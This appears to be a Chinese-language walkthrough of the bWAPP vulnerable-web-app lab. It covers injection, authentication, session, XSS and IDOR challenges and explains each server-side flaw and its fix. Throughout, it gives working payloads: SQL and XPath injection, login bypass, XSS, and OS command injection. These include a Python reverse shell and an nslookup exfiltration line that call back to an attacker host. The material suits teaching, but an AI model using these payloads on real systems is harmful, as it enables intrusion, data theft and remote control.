事以密成,言以泄败。
导航
前言
编程语言:PHP
靶场版本:Version 1.9+
靶场环境:OWASP Broken Web Applications VM 1.2(VirtualBox)
源码参考:https://github.com/theand-fork/bwapp-code
视频参考:https://www.youtube.com/watch?v=segrCBlzAY0&list=PLmC06jCwVwlo-RdL444niMc5-oQyA4dkG
A1 - Injection(注入)
(A1-1)HTML Injection - Reflected (GET)
访问地址:http://192.168.56.19/bWAPP/htmli_get.php
本部分与 A3-1 Cross-Site Scripting - Reflected (GET) 是一样的,故此处不再赘述。
(A1-2)HTML Injection - Reflected (POST)
访问地址:http://192.168.56.19/bWAPP/htmli_post.php
本部分与 A3-1 Cross-Site Scripting - Reflected (GET) 是类似的(仅请求方法由 GET 变成了 POST 而已),故此处不再赘述。
(A1-3)HTML Injection - Reflected (Current URL)
访问地址:http://192.168.56.19/bWAPP/htmli_current_url.php
low 级别:后端对 GET 请求头全局变量 $_SERVER["REQUEST_URI"]
,不做处理直接拼接为 URL 链接然后返回前端。故可以通过 burpsuite 修改请求头的 URI 为 /bWAPP/htmli_current_url.php?a=<script>alert(5)</script>
便可实现 XSS 反弹效果。【注意:通过在浏览器地址栏操作不能够成功,因为浏览器会对特殊符号进行 URL 编码,以致后端收到的是编码后的 URI 地址,返回的也是编码后的 URL 地址,这样就会导致注入的标签失效。】
medium 级别:当前 URL 链接的获取是通过 JS 函数 document.write(document.URL)
在浏览器本地获取,而且也会自动进行 URL 编码,因此亦无注入方法。
hight 级别:后端使用 GET 请求头的请求地址变量,先做 htmlspecialchars() 函数的处理,然后拼接链接。
(A1-4)HTML Injection - Stored (Blog)
访问地址:http://192.168.56.19/bWAPP/htmli_stored.php
本部分与 A3-13 Cross-Site Scripting - Stored (Blog) 是类似的,故此处不再赘述。
(A1-5)LDAP Injection (Search)
由于涉及组件复杂,靶机环境无法顺利进行。
(A1-6)Mail Header Injection (SMTP)
由于涉及组件复杂,靶机环境无法顺利运行。
(A1-7)OS Command Injection
访问地址:http://192.168.56.19/bWAPP/commandi.php
low 级别:后端对 POST 请求提交上来的 target 变量不做处理,直接拼接 nslookup 系统命令执行。此时可以通过载荷 www.nsa.gov;id
进行命令注入,后端在执行域名解析之后还会执行 id 指令,并将执行结果响应返回。
medium 级别:后端对 POST 请求提交上来的 target 变量进行 &;
符号替换为空的处理,然后再拼接 nslookup 系统命令执行。此时载荷 www.nsa.gov | id
依旧可以生效。
hight 级别:后端对 POST 请求提交上来的 target 变量进行 escapeshellcmd() 函数(该函数会将特殊符号均进行转义处理,使其在 shell 环境下失去原有的特殊作用)的处理。
(A1-8)OS Command Injection - Blind
访问地址:http://192.168.56.19/bWAPP/commandi_blind.php
low 级别:后端对 POST 请求提交上来的 target 变量不做处理,直接拼接 ping 系统命令执行但是响应返回无执行结果。此时可以通过注入载荷 localhost;nslookup id | tr ' ' ',' 192.168.56.3
的方式,然后在56.3主机 wireshark 抓包分析 dns 的请求内容,这种方法可以看到执行 id 命令之后返回的结果,但是在 nslookup 参数中使用的命令会受到限制,例如被注入的命令不能够使用参数符号-;此时亦可以通过载荷 localhost;export RHOST="192.168.56.3";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
直接建立远端连接,然后直接在 nc shell 中执行命令。(注意:该 shell 载荷使用了python2 进行的 nc 连接,在不同的靶机环境,建立连接的载荷亦会有所不同)
medium 级别:后端对 POST 请求提交上来的 target 变量中的 &;
符号替换为空。此时上述载荷依旧生效。
hight 级别:后端对 POST 请求提交上来的 target 变量进行 escapeshellcmd() 函数(该函数会将特殊符号均进行转义处理,使其在 shell 环境下失去原有的特殊作用)处理。
(A1-9)PHP Code Injection
访问地址:http://192.168.56.19/bWAPP/phpi.php?message=test
low 级别:后端对 GET 请求提交上来的 message 变量不做处理,直接当作命令字串传递给 eval 函数执行。此时可以通过载荷 phpinfo()
查看效果(注:只要是 PHP 代码函数类的都可以作为载荷)。
medium/hight 级别:后端会对 GET 请求提交上来的 message 变量进行 htmlspecialchars() 函数( 该函数可将特殊字符转换为 HTML 实体)的处理。
(A1-10)Server-Side Includes (SSI) Injection
访问地址:http://192.168.56.19/bWAPP/ssii.php
本部分与 A3-1 Cross-Site Scripting - Reflected (GET) 是一样的,和 SSI 其实没什么关系,故此处不再赘述。
(A1-11)SQL Injection (Search/GET)
访问地址:http://192.168.56.19/bWAPP/sqli_1.php
low 级别:后端对 GET 请求提交上来的 title 变量的值不做处理直接拼接到了 sql 查询语法中。此时可以通过载荷 test' or 1 -- -
进行闭合注入,然后遍历当前所有电影。
medium 级别:后端对 GET 请求提交上来的 title 变量进行 addslashes() 函数(该函数会对'"\
等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。
hight 级别:后端对 GET 请求提交上来的 title 变量进行 mysql_real_escape_string() 函数( 该函数亦会对'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。
(A1-12)SQL Injection (Search/POST)
访问地址:http://192.168.56.19/bWAPP/sqli_6.php
本部分与 A1-11 SQL Injection (Search/GET) 基本无差别,仅仅只是表单请求方法 GET 和 POST 之间的区别,故不再赘述。
(A1-13)SQL Injection (Search/CAPTCHA)
访问地址:http://192.168.56.19/bWAPP/sqli_9.php
本部分验证码检验搜索形同虚设,第一次手动验证之后,后续请求便不会再被要求输入验证码,且与 A1-11 SQL Injection (Search/GET) 基本无差别,故不再赘述。
(A1-14)SQL Injection (Select/GET)
访问地址:http://192.168.56.19/bWAPP/sqli_2.php
low 级别:后端对 GET 请求提交上来的 movie 数值不做处理直接拼接到 sql 查询语句中。此时可以通过载荷 999 union select 1,2,3,4,5,6,7#
进行数值型的联合注入查询。
注意:代码后面通过 mysql_fetch_array() 函数从 sql 查询结果集中只取出一条记录使用。
medium 级别:后端对 GET 请求提交上来的 movie 数值进行 mysql_real_escape_string() 函数( 该函数亦会对'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。
hight 级别:该级别下后端通过专门的 php 代码(http://192.168.56.19/bWAPP/mysqli_ps.php)进行处理,检查似乎更严格。
(A1-15)SQL Injection (Login Form)
访问地址:http://192.168.56.19/bWAPP/sqli_3.php
low 级别:后端对 POST 请求提交上来的 login、password 变量不做处理,直接拼接到 sql 查询语句。此时可以通过载荷 test' or 1 #
作为用户名进行登录,密码任意。
medium 级别:后端对 POST 请求提交上来的 login、password 变量进行 addslashes() 函数( 该函数亦会对'"\
等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。
hight 级别:后端对 POST 请求提交上来的 login、password 变量进行 mysql_real_escape_string() 函数( 该函数亦会对'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。
(A1-16)SQL Injection - Stored (Blog)【SQL insert】
访问地址:http://192.168.56.19/bWAPP/sqli_7.php
low 级别:后端对 POST 请求提交上来的 entry 变量不做处理,直接拼接到 sql 插入语句中。故可以通过载荷 admin'or extractvalue(0x0a,concat(0x0a,(select user()))),'admin')#
根据报错来查询输出;或载荷 admin'or updatexml(1,concat(0x7e,user()),0),'admin')#
根据报错来查询输出;或载荷 admin',user())#
进行插入篡改查询。
注意:面对这种 insert 型的 sql 注入,也是要先猜测出其插入语法(如本例,insert into table(c1,c2,c3) values('1','entry','admin');
),然后再构造注入语句,这类语句的闭合通常一定会带有)右括号。
medium 级别:后端对 POST 请求提交上来的 entry 变量进行 addslashes() 函数( 该函数亦会对'"\
等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。
hight 级别:后端对 POST 请求提交上来的 entry 变量进行 mysql_real_escape_string() 函数( 该函数亦会对'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。
(A1-17)SQL Injection - Stored (XML)【SQL update】
访问地址:http://192.168.56.19/bWAPP/sqli_8-1.php(点击按钮时,实际发起的 POST 请求链接是http://192.168.56.19/bWAPP/sqli_8-2.php)
low 级别:后端对 POST 请求提交上来的 XML 格式的 login、secret 变量不做处理,直接拼接到 sql 语句中。此时可以通过在burpsuite 中继器修改 login 或 secret 的值为载荷 admin'or updatexml(1,concat(0x7e,user()),0)#
根据报错来查询输出。
注意:面对这种 update 型的 sql 注入,也是要先猜测出其插入语法(如本例,update table set pass='pass' where name='admin');
,然后再构造注入语句,这类语句的闭合似乎比较简单。
medium/hight 级别:后端只对 POST 请求提交上来的 secret 变量进行 mysql_real_escape_string() 函数的处理,而login 变量的值则取自 session 会话中的值。
(A1-18)SQL Injection - Blind (Search)
访问地址:http://192.168.56.19/bWAPP/sqli_4.php
low 级别:后端对 GET 请求提交上来的 title 变量的值不做处理然后直接拼接到 sql 语句中。此时输入单引号'发现提示语法错误,故可知闭合符号是单引号',通过构造载荷 name' or 1 #
发现本该不存在的电影此时却提示存在,说明此处存在 sql 注入。此时可通过 name' or 98=(select ascii(mid(database(),1,1))) #
或 name' or 'b'=(select mid(database(),1,1)) #
载荷根据条件为真来逐一判断数据库名称,一般配合 fuzz 进行。
注意:盲注进行闭合符号猜测时,先根据一有结果的查询值为基准,然后在该值的基础上配合 or 或 and 条件判断较佳。在 dump 数据库名或表名等数据时,优先配合 fuzz 进行。
medium 级别:后端只对 GET 请求提交上来的 title 变量进行 addslashes() 函数( 该函数亦会对'"\等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。
hight 级别:后端只对 GET 请求提交上来的 title 变量进行 mysql_real_escape_string() 函数( 该函数亦会对'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。
(A1-19)SQL Injection - Blind (Web Services/SOAP)
访问地址:http://192.168.56.19/bWAPP/sqli_5.php
low 级别:虽然后端使用了比较复杂的技术(NUSOAP)进行 mysql 查询请求的动作,但是其实现的过程还是和前面所述的那些状况差不多。后端对 GET 请求提交上来的 title 变量不做处理然后就拼接到 sql 语句中。此时通过 burpsuite 中继器替换其 title 的值为载荷 G.I.+Joe%3A+Retaliation' and true -- -
发现其查询输出依旧正常,依此可判断其闭合符号为单引号'。此处关于数据库名表名的 dump 方法同上述一样。
引用 SOAP 功能函数
SOAP 进行 sql 查询的功能函数
注意:在盲注过程中发现 mysql 注释符号在GET 请求类的注入使用中可能会引起语法错误,建议还是使用-- -
的方式进行后端注释;而且在 burpsuite 中修改 GET 头的参数时,如果有空格连接一定要先进行 URL 编码才行,否则会返回错误的结果。
medium 级别:后端只对 GET 请求提交上来的 title 变量进行 addslashes() 函数( 该函数亦会对'"\等符号进行转义处理,但仍可能存在字符集注入的风险 )的处理。
hight 级别:后端只对 GET 请求提交上来的 title 变量进行 mysql_real_escape_string() 函数( 该函数亦会对'"\
等符号进行转义处理,且不存在字符集注入的风险 )的处理。
(A1-20)XML/XPath Injection (Search)
访问地址:http://192.168.56.19/bWAPP/xmli_2.php
heros.xml 文件内容:https://github.com/theand-fork/bwapp-code/blob/master/bWAPP/passwords/heroes.xml
low 级别:前端选中下拉选项提交时会通过 GET 请求携带参数 genre 发起,后端对收到的 genre 变量不做处理直接作为 xpath 查询语法的一部分进行拼接,然后在本地 XML 文件数据库中进行数据的匹配查找。此时通过载荷 ')]/child::node() | test[contains(test,'aa
作为 genre 的参数,便可以达到遍历整个 XML 文件数据库的效果。
medium/hight 级别:后端对 GET 请求提交上来的 genre 变量进行 xmli_check_1() 自定义检查函数的处理(该函数将( ) = ' [ ] : , * /
这些符号进行了替换为空的处理),然后再拼接到 xpath 查询语法中。
注意:本处的载荷进行了前后闭合处理。$xml->xpath("//hero[contains(genre, 'action')]/movie");
本处代码中的 xpath 查询语法的意思是,查找所有 hero 节点下的 movie 的值,且 hero 节点中 genre 属性需要包含 action 字段。
(A1-21)XML/XPath Injection (Login Form)
访问地址:http://192.168.56.19/bWAPP/xmli_1.php
low 级别:后端对 GET 请求提交上来的 login、password 变量不做处理直接拼接到 xpath 查询语法中,若匹配到结果则返回登录成功的提示。此时通过载荷 user'or 1=1 or ''='
输入用户名,密码随便填,然后就达到了万能密码的效果。
注:原代码中双引号太多,处理之后为 xpath("/heroes/hero[login='login' and password='password']");
此处这个载荷的用法比较奇怪 user or ''='
却不可以,但它也应该是正常闭合的。
medium/hight 级别:后端对 GET 请求提交上来的 login、password 变量进行 xmli_check_1() 自定义检查函数的处理(该函数将( ) = ' [ ] : , * /
这些符号进行了替换为空的处理),然后再拼接到 xpath 查询语法中。
A2 - Broken Auth & Session Mgmt(破损的授权&会话管理)
(A2-1)Broken Authentication - Forgotten Function
访问地址:http://192.168.56.19/bWAPP/ba_forgotten.php
low 级别:输入找回密码对应的邮箱之后,后端从数据库中将查找到的密码直接响应显示到了前端页面之中。此时只要知道别人的注册邮箱便可知晓别人的密码。
medium 级别:后端将查询的密码明文发到了对方的邮箱之中。
hight 级别:后端将生成的密码重置链接发到了对方的邮箱之中。(注:此时也存在 A7-4 Host Header Attack (Reset Poisoning) 漏洞)
(A2-2)Broken Authentication - Insecure Login Forms
访问地址:三个级别分别对应三个不同的页面,分别是 ba_insecure_login_1.php、ba_insecure_login_2.php、ba_insecure_login_3.php
low 级别:登录账户和密码直接在页面表单部分以白色样式的方式显示。故可以通过查看源代码或鼠标选中的方式查看。
medium 级别:登录账户直接在登陆框显示,而密码以 js 开锁脚本验证的方式在 js 函数中包含着。此时可以通过在 console 控制台中通过执行 js 代码获得密码。
hight 级别:前端页面不再包含任何有关账户密码的痕迹。
(A2-3)Broken Authentication - Logout Management
low 级别:客户端发起注销请求之后,服务端的响应中只是重定向到 login.php 登录页面,并删除相关的 cookies 数据。此时在新标签页无需重新登录便依旧可以打开那些需要登录才能看到的页面,且再次处于正常的登录状态会话。
medium 级别:服务端首先通过 session_destroy() 函数销毁了 session 会话,然后重定向 login.php 及删除 cookies 数据,此时会话正常结束。
hight 级别:服务端先清空了 $_SESSION = array();
变量,然后销毁会话、重定向及删除 cookies 数据,此时会话正常结束。
(A2-4)Broken Authentication - Password Attacks
访问地址:三个级别分别对应三个不同的页面,分别是 ba_pwd_attacks_1.php、ba_pwd_attacks_2.php、ba_pwd_attacks_4.php。
low 级别:表单提交内容只有 login、password 变量,后端只是检验这两变量是否与内置的 $login、$password
变量相等。此时可以通过常规的密码爆破方法快速进行密码爆破。
medium 级别:表单提交内容有 login、password、salt 变量(salt 是后端随机生成的值并隐藏携带在表单之中,每次刷新页面都会产生新值),后端首先检验 $_POST["salt"] == $_SESSION["salt"]
是否符合,符合之后才开始进行 login、password 变量的判断。此时可以通过 burpsuite 工具爆破进行,但是在操作上比较麻烦且爆破速度降低。
hight 级别:表单使用了图片验证码技术,表单提交内容有 login、password、captcha_user 变量,后端首先检验 $_POST["captcha_user"] == $_SESSION["captcha"]
是否符合,符合之后才开始 login、password 变量的判断。此时爆破难度更高。
图片验证码实现原理:表单页面使用 iframe 页面嵌套方法,这样就可以保证验证码图片可以不断刷新请求,而表单页面不会被刷新。嵌套中的页面则是由图片部分和页面刷新按钮部分组成,而此处的图片 src 链接指向其实也是一个 php,当发起该图片 php 的请求时,后端 php 会首先生成一个随机字串(即验证码),然后将该字串赋值给 $captcha = random_string();$_SESSION["captcha"] = $captcha;
会话变量,然后再通过 php 代码生成图片的方法模糊处理该随机值,最后作为一个图片响应返回。
验证码图片生成代码
(A2-5)Broken Authentication - Weak Passwords
访问地址:http://192.168.56.19/bWAPP/ba_weak_pwd.php
low/medium/hight 级别:三个级别就只是密码不同而已,它们分别是 test、test123、Test123,用户名都是 test。账户密码都是静态变量,不涉及数据库。
(A2-6)Session Management - Administrative Portals
访问地址:http://192.168.56.19/bWAPP/smgmt_admin_portal.php?admin=0
low 级别:访问上述页面地址时,后端根据提交 URL 中的参数 admin 的值来判断用户是否可以访问隐藏内容(即绿色标识的话: You unlocked this page)。此时可以通过修改 URI 为 smgmt_admin_portal.php?admin=1
来访问隐藏内容。
medium 级别:后端根据请求中的 cookies 参数 admin 的值来判断用户是否可以访问隐藏内容。此时通过修改 cookies 参数 admin=1
来访问隐藏内容。
hight 级别:后端根据 session 会话中的 $_SESSION["admin"] == 1
变量的值来判断用户是否可以访问隐藏内容,而 $_SESSION["admin"]
的值又取决于来访者的 IP 地址是否在指定的许可 IP 数组中,也就是说只有特定的 IP 地址的用户才能够访问隐藏内容。
(A2-7)Session Management - Cookies (HTTPOnly)
访问地址:http://192.168.56.19/bWAPP/smgmt_cookies_httponly.php
low 级别:cookies 参数 top_security 的 httponly 开关(该开关要求该 cookies 变量只能被后端通过 $_COOKIES
变量访问,像如前端的 JS 脚本是无法读取的)是关闭的,即 js 可以读取其值。
该代码只是展示页面中 cookies 表格是如何实现,和难度级别无关。
medium 级别:cookies 参数 top_security 的 httponly 开关是打开的,即 js 无权读取其值。
hight 级别:cookies 参数 top_security 的 httponly 开关是打开的,且有效存活时间是 5 分钟。(注意:cookies 不会在服务端存储,当浏览器中的 cookies 过期之后,当再次在页面点击 cookies 按钮向后端发起 POST 查询请求时,此时后端是根据前端发起请求时携带的 cookies 值进行响应的。但如果存活时间还没到期,那么频繁切换该试验的难度级别,可能会产生一些意料之外的事情。)
(A2-8)Session Management - Cookies (Secure)
访问地址:http://192.168.56.19/bWAPP/smgmt_cookies_secure.php
low 级别:cookies 变量 top_security 的 secure 开关(该开关要求该 cookies 变量必须通过 SSL 安全通道传输,即只有使用 HTTPS 访问页面时该变量才会被携带到浏览器,否则浏览器无此 cookies 变量)是关闭的,此时点击页面的 cookies 按钮通过 HTTP POST 请求是可以查看该 cookies 的。
medium 级别:cookies 变量 top_security 的 secure 开关是打开的,此时点击页面的 cookies 按钮通过 HTTP POST 请求是无法查看该 cookies 的,只有访问 https://192.168.56.19/bWAPP/smgmt_cookies_secure.php
通过 HTTPS POST 请求才可以查看该 cookies 的。
通过 HTTP 访问该页面
通过 HTTPS 访问该页面
hight 级别:同 medium 级别一样,只是 cookies 变量 top_security 的存活时间变短了而已。(存活时间由1小时缩短为5分钟的好处在于:top_security 变量很快就失效不能再使用,不会因为时间过长导致变量被滥用。即,即便已经从https转变为http了,但是因为 top_security 变量存活时间长的原因,在http页面请求下依旧会可以查看到该 top_security 变量。)
(A2-9)Session Management - Session ID in URL
访问地址:http://192.168.56.19/bWAPP/smgmt_sessionid_url.php
low 级别:访问上述地址之后,响应返回带 sessionid 的重定向链接。此时旁人只要知道了该网站的 sessionid,那么只要自己手动添加一个 cookies 就可以以该用户的身份正常登录页面。
medium/hight 级别:sessionid 不会显示在URL 之中。
(A2-10)Session Management - Strong Sessions
访问地址:http://192.168.56.19/bWAPP/smgmt_strong_sessions.php
本部分与 A2-8 Session Management - Cookies (Secure) 一样,三个级别的差别也是关于 cookies secure 开关的区别,故不再赘述。
A3 - Cross-Site Scripting (XSS 跨站脚本)
(A3-1)Cross-Site Scripting - Reflected (GET)
访问地址:http://192.168.56.19/bWAPP/xss_get.php
low 级别:后端对 GET 请求提交上来的 firstname 、lastname 变量不做处理直接拼接然后响应前端。故可以通过在输入框中注入载荷 <script>alert("5")</script>
达到 XSS 反弹效果。
medium 级别:后端对 GET 请求提交上来的 firstname 、lastname 变量进行 addslashes() 函数(该函数会在" ' \
字符的前面加反斜杠)的处理。此时通过载荷 <script>alert(5)</script>
依旧能达到 XSS 反弹效果。
hight 级别:后端对 GET 请求提交上来的 firstname 、lastname 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。
(A3-2)Cross-Site Scripting - Reflected (POST)
访问地址:http://192.168.56.19/bWAPP/xss_post.php
在后端检查方式上与 A3-1 Cross-Site Scripting - Reflected (GET) 是一样的,仅仅只是表单的请求方法由 GET 方法变成了 POST 方法。
(A3-3)Cross-Site Scripting - Reflected (JSON)
访问地址:http://192.168.56.19/bWAPP/xss_json.php
low 级别:后端对 GET 请求提交上来的 title 变量不做处理直接进行查询,当查询不到时会将变量直接拼接进一段 json 格式的字串,而该字串又会被赋值给一个响应返回的 js 脚本变量之中,当前端收到时 js 脚本又会对该 json 字串进行解析,然后将解析结果通过 DOM 写入到标签之中用以显示结果。此时可以通过闭合 json 以及注释多余 js 代码达到 XSS 反弹效果,闭合载荷如: test"}]}';alert(5);//;
也可通过截断前后<script>
标签达到 XSS 效果,闭合载荷如:</script><script>alert(5)</script><script>
此法可能会让代码产生错误,即页面显示功能异常;
medium/hight 级别:后端对 GET 请求提交上来的 title 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。
(A3-4)Cross-Site Scripting - Reflected (AJAX/JSON)
low/medium 级别:当在输入框中键入字符时,输入框下方便会立马显示相关查询结果,这种效果便是利用了 AJAX 异步网络请求技术,它可以使得当前 web 页面在不刷新的情况下,通过后台 js 不断的向外发出 HTTP 请求。在当前情况下,输入框中出现的任何字符都会立马被作为 title 的值 GET 请求传递给后台(注意:不是因为输入字符才触发 HTTP 请求,而是后台循环每秒都进行 HTTP 请求),后台对收到数据不进行特殊处理,经过简单的查询判断无匹配数据之后便会直接拼接到一个 json 格式的字串中然后返回响应。收到响应的 js 函数对其进行 json 数据提取之后便通过 DOM 嵌入到了 xss_ajax_2-1.php 的页面中。此时通过常规的载荷 <script>alert(5)</script>
虽然能够被注入,但是由于当前页面 xss_ajax_2-1.php 并不会被刷新,所以即便注入了也不会产生效果,此时便需要通过其他标签进行处理,如: <img src x one rror = alert(5)>
,该标签由于加载不存在的 x 资源时肯定会出错,而出错便会触发 one rror 执行动作;
hight 级别:后端对 GET 请求提交上来的 title 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。
(A3-5)Cross-Site Scripting - Reflected (AJAX/XML)
low 级别:基本原理与上述 A3-4 Cross-Site Scripting - Reflected (AJAX/JSON) 相差不多,区别在于响应返回的数据不再是 json 格式,而是 XML 格式,因此在注入载荷上略有区别。因为 XML 中 <>&
等字符是不能被直接存入的,因此注入前必须先进行 HTML 实体转义才行,如:需要将 img src = x one rror = alert(5)
转义为 <img src = x one rror = alert(5)>
才行。
medium 级别:后端对 GET 请求提交上来的 title 变量进行 addslashes() 函数(该函数会在" ' \
字符的前面加反斜杠)的处理。此时载荷 <img src = x one rror = alert(5)>
亦生效。
hight 级别:后端对 GET 请求提交上来的 title 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)进行处理。此时无需转义直接输入载荷 <img src =x one rror = alert(5)>
即可产生 XSS 反弹效果,此时的 htmlspecialchars() 反倒起到了自动转义的效果,面对XML 这种正好合适。
注:后端返回 <>
时,js 在进行 DOM 注入时会先对字串进行转义处理为<>
然后才嵌入 DOM 字段,嵌入之后再进行 js 或 css 加载渲染就会触发新的执行动作。
(A3-6)Cross-Site Scripting - Reflected (Back Button)
访问地址:http://192.168.56.19/bWAPP/xss_back_button.php
low 级别:当访问该页面时,后端会将 GET 请求头中的 Referer 变量拼接到返回按钮的标签属性中,然后当用户点击该按钮时页面便会返回到上一页。而在 low 级别下,后端不会对请求头中的 Referer 变量进行检查。故可以通过 burpsuite 拦截请求,修改 Referer 变量为 ';alert(5);'
或 '"><script>alert(5)</script><
闭合载荷达到 XSS 反弹注入。
medium 级别:后端会对 Referer 变量进行 addslashes() 函数(该函数会在 " ' \
字符的前面加反斜杠)的处理。此时以上载荷依旧可以正常使用,因为标签中的 '"
前面添加反斜杠并不影响标签的正常使用。
hight 级别: 后端会对 Referer 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。
(A3-7)Cross-Site Scripting - Reflected (Custom Header)
访问地址:http://192.168.56.19/bWAPP/xss_custom_header.php
low 级别:后端从请求头中搜索 bWAPP 的键值字段,然后将其不做处理直接遍历显示到前端 HTML 中。故可以用 burpsuite 拦截请求,然后再最后一行新增 bWAPP: <script>alert(5)</script>
便完成了 XSS 注入。
medium 级别:后端会对变量进行 addslashes() 函数(该函数会在 " ' \
字符的前面加反斜杠)的处理。
hight 级别:后端会对变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。
(A3-8)Cross-Site Scripting - Reflected (Eval)
访问地址:http://192.168.56.19/bWAPP/xss_eval.php?date=Date()
low 级别:后端对 GET 请求提交上来的 date 变量的值不做处理直接当作字串嵌入到了 js 的 eval 函数中。故可以通过替换 date()
函数为 alert(5)
便可实现 XSS 注入。
medium 级别:后端对 GET 请求提交上来的 date 变量进行 addslashes() 函数(该函数会在 " ' \
字符的前面加反斜杠)的处理。通过替换 date()
函数为 alert(5)
依旧可以实现 XSS 注入。
hight 级别:后端指定 GET 请求中的 date 变量的值只能是 Date() 字串。
(A3-9)Cross-Site Scripting - Reflected (HREF)
访问地址:http://192.168.56.19/bWAPP/xss_href-1.php( 输入 test 提交时实际请求的链接是 http://192.168.56.19/bWAPP/xss_href-2.php?name=test&action=vote
)
low 级别:后端对 GET 请求提交上来的 name 变量不做处理直接在响应前端的 HTML 内容中的 Vote 链接中进行了拼接。故可以通过载荷 test onclick="alert(5)"
,实现 herf 超链接标签 XSS 注入反弹,注入之后点击超链接即可反弹成功。
medium/hight 级别:后端会对 GET 请求提交上来的 name 变量进行 urlencode() 函数(空格和特殊字符均被使用 URL 编码处理成带 %
号的字串)的处理,然后再进行超链接拼接。此时由于输入的符号()
被转义,故拼接之后返回浏览器渲染时不会再作为 js 函数执行。
注意:后端返回的数据在前端浏览器显示时,注入中的一些变量的值浏览器可能会自动给其加上""
双引号,因此尽量配合 burpsuite 进行语句的闭合字串注入。
(A3-10)Cross-Site Scripting - Reflected (PHP_SELF)
访问地址:http://192.168.56.19/bWAPP/xss_php_self.php
与 A3-1 Cross-Site Scripting - Reflected (GET) 是一样的,故不再赘述。
(A3-11)Cross-Site Scripting - Reflected (Referer)
访问地址:http://192.168.56.19/bWAPP/xss_referer.php
与 A3-6 Cross-Site Scripting - Reflected (Back Button) 是一样的,都是基于修改请求头的 Referer 参数进行的 XSS 注入,故不再赘述。
(A3-12)Cross-Site Scripting - Reflected (User-Agent)
访问地址:http://192.168.56.19/bWAPP/xss_user_agent.php
与 A3-6 Cross-Site Scripting - Reflected (Back Button) 类似,都是基于修改请求头参数进行的 XSS 注入,只不过此处是对 User-Agent 参数进行的修改,故不再赘述。
(A3-13)Cross-Site Scripting - Stored (Blog)
访问地址:http://192.168.56.19/bWAPP/xss_stored_1.php
low 级别:后端对表单中提交的 Entry 内容首先进行 SQL 注入检查 mysqli_real_escape_string() 函数的处理,然后再插入数据库,当显示取出时,后端对取出的数据不进行 xss 检查处理,直接输出。此时可通过 <script>alert(5)<script>
直接进行 XSS 注入。
medium 级别:给数据库插入数据同 low 级别一样,但是从数据库取出显示数据时,后端会对其进行 addslashes() 函数(该函数会在 " ' \
字符的前面加反斜杠)的处理。此时仍可通过载荷 <script>alert(5)<script>
直接进行 XSS 注入。
hight 级别:给数据库插入数据同 low 级别一样,但是从数据库取出显示数据时,后端会对其进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理。此时无法进行 XSS 注入。
(A3-14)Cross-Site Scripting - Stored (Change Secret)
访问地址:http://192.168.56.19/bWAPP/xss_stored_3.php
low 级别:前端请求的表单中还存在隐藏的 login 变量,且表单请求提交后该 login 还会被继续响应返回。而后端对 POST 提交上来的 secret 变量有着严格的检查,但对 login 不做任何检查。故可以通过修改前端表单 login 输入框的类型为 text 显示状态,然后在输入框中注入载荷 <script>alert(5)<script>
即可实现 XSS 注入。
medium/hight 级别:后端使用 token 令牌进行用户名的辨识,且返回的前端页面中无相关 XSS 注入特征(前端提交的变量,响应返回的页面也会存在该变量,这便是注入特征)。
(A3-15)Cross-Site Scripting - Stored (Cookies)
访问地址:http://192.168.56.19/bWAPP/xss_stored_2.php
注:该漏洞似乎无实用价值,因为 cookies 中注入的 XSS 载荷似乎没有什么作用。
low 级别:后端对 GET 请求提交上来的 genre 变量不做处理直接将其作为 cookies 新增值返回给前端。
medium 级别:后端对 GET 请求提交上来的 genre 变量进行 htmlspecialchars() 函数(该函数会将各种特殊字符均进行 HTML 实体转义)的处理,然后作为 cookies 的内容返回前端。
hight 级别:后端对 GET 请求提交上来的 genre 变量在 switch 选择条件中进行指定字串的匹配,匹配到之后,用匹配的字串的内容作为值创建 cookies 。
A4 - Insecure Direct Object References(IDOR 不安全直接对象引用)
此类漏洞特征:本该仅在后端才出现并引用的变量,却参与到了与前端交互的参数之中。
(A4-1)Insecure DOR (Change Secret)
访问地址:http://192.168.56.19/bWAPP/insecure_direct_object_ref_1.php
low 级别:POST 提交更改当前登录用户的新密码之后,body 部分携带的参数不仅包含密码还包含登录用户名,而后端在 sql 语句的拼接中直接使用了 body 部分携带上来的 login 参数值。故可以通过更改 login 参数的值达到更改任意用户的密码,而非仅仅只是当前用户的密码。
medium/hight 级别:POST 提交新密码时,还会将表单中携带的 token 值(每次重新访问该页面,后端都会重新生成 token 值并嵌入在返回的 HTML 页面中)一并提交,而后端会根据 POST 提交上来的 token 值与当前会话的 token 值进行对比,匹配通过后再进行 sql 语句的拼接,拼接中的 login 变量是通过 $login = $_SESSION["login"]
会话获得,而非 POST 请求 $login = $_REQUEST["login"]
获得。
(A4-2)Insecure DOR (Reset Secret)
访问地址:http://192.168.56.19/bWAPP/insecure_direct_object_ref_3.php(点击页面按钮之后请求的链接是 http://192.168.56.19/bWAPP/xxe-2.php
)
注:该漏洞页面与 A7-9 XML External Entity Attacks (XXE) 是同一个页面,该页面不仅存在 IDOR 漏洞也存在 XXE 漏洞,故此处不再赘述。
(A4-3)Insecure DOR (Order Tickets)
访问地址:http://192.168.56.19/bWAPP/insecure_direct_object_ref_2.php
low 级别:页面表单中包含隐藏的价格标签,且后端会根据 POST 携带的价格和数量变量进行运算。故可以通过修改 POST 中的 ticket_price 变量来调整官方预定的价格。
